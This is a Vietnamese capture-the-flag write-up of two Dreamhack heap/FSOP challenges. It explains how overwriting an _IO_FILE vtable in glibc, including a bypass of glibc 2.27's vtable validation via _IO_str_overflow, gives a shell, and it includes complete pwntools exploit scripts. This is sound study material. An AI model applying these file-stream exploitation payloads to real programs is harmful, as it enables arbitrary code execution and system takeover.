# FSOP
# iofile_vtable
## Phân tích:
- Bài này cho 2 hàm main và get_shell


- Trong hàm main yêu cầu nhập vào biến name 8 byte, sao đó thực hiện vòng lặp, 1 là in ra GOOD, 2 là dùng fwrite in ra stderr, 3 dùng fgetc nhập từ chuẩn đầu vào, 4 là nhập 8 bytes vào stderr
- Ta có thể thấy 4 cho phép nhập vào _IO_FILE của stderr, mà 2 lại dùng stderr để xuất dữ liệu ra màn hình mà không dùng bộ đệm, --> ta có thể thay đổi _IO_FILE của stderr qua 4 rồi gọi 2 để làm gì đó, còn name, 1 và 3 chưa rõ chức năng
- Kiểm tra hàm read khi gọi 4:

- Vị trí nhập là _IO_2_1_stderr_ +216, đây là vị trí cuối của struct stderr, ta kiểm tra giá trị tại vị trí này, thì nó trỏ tới các _IO_file_jumps --> Có thể suy ra đây là _IO_file_jump_t *_vtable của stderr
- Vậy khi ta thay đổi giá trị vtable rồi gọi 2 thì chuyện gì sẽ xảy ra --> Nhận được lỗi trong fwrite
- Ta sẽ check fwrite

- Trong fwrite có call tại rax + 0x38, ta xem địa chỉ này khi bình thường (chỉ gọi 2 không gọi 4)

- Vậy có thể vị trí call là vị trí của con trỏ vtable trỏ tới + 0x38
- Vậy ta sẽ nhập địa chỉ get_shell vào biến name, sau đó thay đổi vtable của stderr bằng địa chỉ biến name - 0x38
- Tuy nhiên khi debug thì thấy trong fwrite gọi _IO_vtable_check và chương trình sẽ lỗi

- Check libc file thực thi

- File đang dùng libc máy, mà libc máy là phiên bản 2.41 nên các con trỏ vtable đã có cơ chế bảo vệ, ta thử kết nối với sever xem

## Fullscript
```
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./iofile_vtable', checksec=False)
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
slan = lambda msg, num: sla(msg, str(num).encode())
san = lambda msg, num: sa(msg, str(num).encode())
sln = lambda num: sl(str(num).encode())
sn = lambda num: s(str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript=f'''
gef
b* main +77
b* main +228
b* main +245
b* main +293
b* fwrite +192
c
''')
if args.REMOTE:
conn = 'nc host3.dreamhack.games 20931'.split()
p = remote(conn[1], int(conn[2]))
else:
p = process(exe.path)
GDB()
sa(b'name: ', p64(0x000000000040094a))
sla(b'> ', b'4')
sa(b'change: ', p64(0x6010d0 - 0x38))
sla(b'> ', b'2')
p.interactive()
```
# bypass_validate_vtable
## Phân tích:
- Bài này có hàm main:

- Đầu tiên có địa chỉ libc leak, có thể đoán đó là địa chỉ stdout, sau đó cho phép ta nhập vào fp, mà fp là _IO_FILE, cuối cùng gọi fclose(fp) --> ta có thể thay đổi cấu trúc _IO_FILE
- Bài này cho libc `ld-2.27.so`, glibc 2.27 đã có cơ chế bảo vệ vtable qua _validate_vtable bằng cách kiểm tra vùng nhớ vtable và độ dài vùng nhớ, như đề bài, ta phải bypass qua hàm này
- Tuy ta không thể thay đổi vtable trỏ ra ngoài bảng vtable, nhưng ta có thể thay đổi con trỏ vtable trỏ tới các vtable khác, miễn sao nó vẫn nằm trong bảng vtable thì vẫn được coi là hợp lí
- Ta có thể sử dụng `_IO_str_overflow`
```
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
```
- Phân tích `_IO_str_overflow`
- Kiểu tra quyền ghi:
```
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
```
- Kiểm tra trạng thái đọc ghi:
```
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
```
- Kiểm tra buffer có bị đầy không, và nếu buffer đầy thì mở rộng:
```
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
```
- Ta sẽ tập chung vào chỗ này, _s._allocate_buffer được gọi với tham số là new_size, mà trong glibc 2.27, _s._allocate_buffer nằm ở vị trí cố định so với con trỏ fp, còn tham số new_size = 2 * old_blen + 100, old_blen = _IO_blen(fp)
```
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
```
- Nghĩa là _IO_blen = _IO_buf_end - _IO_buf_base
--> vậy ta có thể thay đổi giá trị sau vtable + 8 = system, rồi new_size = địa chỉ /bin/sh, để new_size = /bin/sh thì _IO_bien = (/bin/sh - 100)/2 mà để _IO_bien như vậy thì _IO_buf_end = (/bin/sh - 100)/2 và _IO_buf_base = 0 thì kết quả trừ sẽ như mong muốn
- Và `new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);` được gọi thì ta phải xem qua điều kiện if:
```
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
```
- Nghĩa là offset từ _IO_write_ptr tới _IO_write_base >= _IO_buf_end tới _IO_buf_base --> ta chỉ việc cho _IO_write_ptr = _IO_buf_end và _IO_write_base = _IO_buf_base là được
- Ta có thể bypass các điều kiện bên trên khi flag = 0, fp->_flags & _IO_NO_WRITES == 0, nên bỏ qua điều kiện này, cả _IO_TIED_PUT_GET và _IO_CURRENTLY_PUTTING đều không có, nên bỏ qua luôn điều kiện này.
- Cách gọi system đã có, giờ ta sẽ debug tìm địa chỉ _IO_str_overflow

- _IO_str_overflow nằm ngay sao giá trị của con trỏ vtable, ta sẽ tìm hiểu quá trình gọi fclose(fp) để biết con trỏ vtable sẽ nhảy vào _IO_file_jumps nào:
-- Khi fclose(fp) được gọi, nó tham chiếu đến vtable của fp để tìm con trỏ hàm __finish nằm tại offset 0x10 trong vtable.

- Vậy ta sẽ thay vtable trỏ tới _IO_str_overflow - 0x10, để khi vtable gọi nó sẽ gọi _IO_str_overflow

- _lock phải trỏ tới địa chỉ có giá trị 0 để xử lí luồng, nên ta gán nó bằng &fp + 0x70
- giờ ta sẽ kiểm tra xem khi nhảy vô _IO_str_overflow thì fp)->_s._allocate_buffer sẽ lấy địa chỉ ở đâu:

- Có thể thấy tham số đã là địa chỉ chứa chuỗi /bin/sh, và ` fp)->_s._allocate_buffer` trỏ tới vị trí ngay sau vtable, ta chỉ việc overwrite địa chỉ sau vtable thành system là được
- lấy shell thành công

## Fullscrip:
```
#!/usr/bin/env python3
from pwn import *
exe = ELF("./bypass_valid_vtable_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
slan = lambda msg, num: sla(msg, str(num).encode())
san = lambda msg, num: sa(msg, str(num).encode())
sln = lambda num: sl(str(num).encode())
sn = lambda num: s(str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript=f'''
gef
b* fclose +105
b* main +104
b* main +119
start
''')
if args.REMOTE:
conn = ''.split()
p = remote(conn[1], int(conn[2]))
else:
p = process(exe.path)
GDB()
ru(b'stdout: ')
libc.address = int(rl()[:-1], 16) - 4114272
log.info(hex(libc.address))
system = libc.sym['system']
bin_sh = (next(libc.search(b'/bin/sh')) - 100) // 2
fake_vtable = libc.sym['_IO_str_jumps'] + 8
fp = exe.sym['fp']
log.info(hex(fp))
pl = p64(0) #flag
pl += p64(0)*4 #_IO_read + _IO_write_base
pl += p64(bin_sh) # _IO_write_base
pl += p64(0)*2 # _IO_write_end + _IO_buf_base
pl += p64(bin_sh) # _IO_buf_end
pl += p64(0) * 8
pl += p64(fp + 0x70)
pl += p64(0)*9
pl += p64(fake_vtable)
pl += p64(system)
s(pl)
p.interactive()
```